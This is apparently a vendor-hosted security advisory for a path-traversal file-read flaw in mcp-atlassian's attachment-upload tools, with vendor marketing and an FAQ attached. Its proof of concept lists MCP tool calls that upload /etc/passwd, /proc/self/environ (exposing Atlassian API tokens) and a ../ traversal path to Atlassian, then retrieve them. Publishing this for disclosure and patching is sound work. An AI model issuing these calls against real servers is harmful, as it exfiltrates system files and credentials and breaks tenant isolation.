Summary
mcp-atlassian: Arbitrary server-side file read via attachment upload
Full technical description
A client that can invoke MCP tools can read arbitrary files from the server host and exfiltrate them as Atlassian attachments. The attachment-upload tools take a client-supplied file_path and open() it on the server's filesystem.
The upload tools are meant to attach a file from the caller's environment, the client supplies a path expecting it to refer to its own machine. Over a remote transport (HTTP/SSE) that path is instead resolved and read on the server, and the tool offers no way for the client to send file content in place of a server-side path. A remote client therefore reads the server's files, and, in multi-tenant deployments, other tenants' data, instead of its own. (In a local stdio deployment the server runs as the user, so the path refers to the user's own files and reading any path is the intended behavior; the exposure is specific to remote/multi-user transports.)
Details
The upload tools read a client-supplied path directly on the server:
src/mcp_atlassian/confluence/attachments.py,upload_attachment→_upload_attachment_direct→os.path.abspath(file_path)→open(file_path, "rb")src/mcp_atlassian/jira/attachments.py,upload_attachment→os.path.abspath(file_path)→open(file_path, "rb")
os.path.abspath() only normalizes the path; the file is then opened on the server wherever it points and its bytes are sent to Atlassian as an attachment. There is no path a client can use to reference its own filesystem, and no option to upload raw content instead of a server-side path.
Client-reachable entry points that hit these sinks:
confluence_upload_attachment→ConfluenceFetcher.upload_attachment. Thefile_pathfield is documented as "absolute … or relative to the current working directory."confluence_upload_attachments→ loops over the same sink.jira_update_issue, itsattachmentsparameter (JSON array or comma-separated list of paths) flows throughIssuesMixin.update_issue→self.upload_attachments→ the Jira sink. There is no standalonejira_upload_attachmenttool;jira_update_issueis the only Jira entry point.
PoC
Local reproduction
Extract traversal_upload_attachment_file_read.zip:
# Fill credentials in docker-compose.yml; set CONFLUENCE_PAGE_ID / JIRA_ISSUE_KEY in poc.sh
docker compose up -d # mcp-atlassian, streamable-http, 0.0.0.0, READ_ONLY_MODE=false
./poc.sh # exits 0 on success
Requires Docker, curl, jq, and an Atlassian Cloud site with a Confluence page and a Jira issue (free tier works). The script runs the steps below and confirms the /etc/passwd round-trip. Planted attachments are intentionally left in place so they can be confirmed in the Atlassian UI.
All calls are issued against the HTTP transport with READ_ONLY_MODE=false (the default).
Step 1, read /etc/passwd from the server via Confluence upload:
req → tools/call confluence_upload_attachment
{ "content_id": "<PAGE_ID>", "file_path": "/etc/passwd" }
← { "message": "Attachment uploaded successfully",
"attachment": { "success": true, "filename": "passwd", "id": "att<...>" } }
Step 2, retrieve the exfiltrated content back through MCP (round-trip proves a real read):
req → tools/call confluence_download_attachment { "attachment_id": "att<...>" }
← base64 resource decoding to:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
Step 3, same primitive via the Jira entry point (second sink):
req → tools/call jira_update_issue
{ "issue_key": "<ISSUE_KEY>", "fields": "{}", "attachments": "/etc/passwd" }
← { "attachment_results": { ... "success": true ... } }
Step 4, credential disclosure via /proc/self/environ:
req → tools/call confluence_upload_attachment
{ "content_id": "<PAGE_ID>", "file_path": "/proc/self/environ" }
← success; the resulting "environ" attachment contains the server's env,
including JIRA_API_TOKEN / CONFLUENCE_API_TOKEN.
(os.path.getsize reports 0 for procfs, but the upload transmits the real content, the attachment shows ~1 kB in the Confluence UI.)
Step 5, relative traversal accepted (no containment):
req → tools/call confluence_upload_attachment
{ "content_id": "<PAGE_ID>", "file_path": "../../../../etc/hostname" }
← success, relative paths are resolved and read on the server just like absolute ones.
The uploaded files (passwd, environ, hostname) appear as real attachments on the Confluence page, confirming the server read them off its own host.
Credit
Discovered by Francisco Rosales of Manifold Security
Impact
Any client that can invoke the upload tools can exfiltrate arbitrary files readable by the server process (e.g. /etc/passwd, /proc/self/environ, application config, key material). Uploading /proc/self/environ discloses the server's environment variables, including the configured JIRA_API_TOKEN / CONFLUENCE_API_TOKEN, i.e. the server process's own Atlassian credentials and any other secrets on the host. In a multi-tenant HTTP deployment this also breaks tenant isolation: one client reads files belonging to the deployment or to other tenants.
The security impact concentrates in remote / HTTP-transport deployments (sse, streamable-http, default bind 0.0.0.0), where the file_path resolves on the server host rather than the client's. In a single-user stdio deployment the path refers to the user's own machine, so there is no boundary crossing.
Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.
GHSA-WM45-QH3G-V83F has a CVSS score of 7.7 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.22.0); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is GHSA-WM45-QH3G-V83F? GHSA-WM45-QH3G-V83F is a high-severity path traversal vulnerability in mcp-atlassian (pip), affecting versions < 0.22.0. It is fixed in 0.22.0. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
- How severe is GHSA-WM45-QH3G-V83F? GHSA-WM45-QH3G-V83F has a CVSS score of 7.7 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of mcp-atlassian are affected by GHSA-WM45-QH3G-V83F? mcp-atlassian (pip) versions < 0.22.0 is affected.
- Is there a fix for GHSA-WM45-QH3G-V83F? Yes. GHSA-WM45-QH3G-V83F is fixed in 0.22.0. Upgrade to this version or later.
- Is GHSA-WM45-QH3G-V83F exploitable, and should I be worried? Whether GHSA-WM45-QH3G-V83F is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether GHSA-WM45-QH3G-V83F is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix GHSA-WM45-QH3G-V83F? Upgrade
mcp-atlassianto 0.22.0 or later.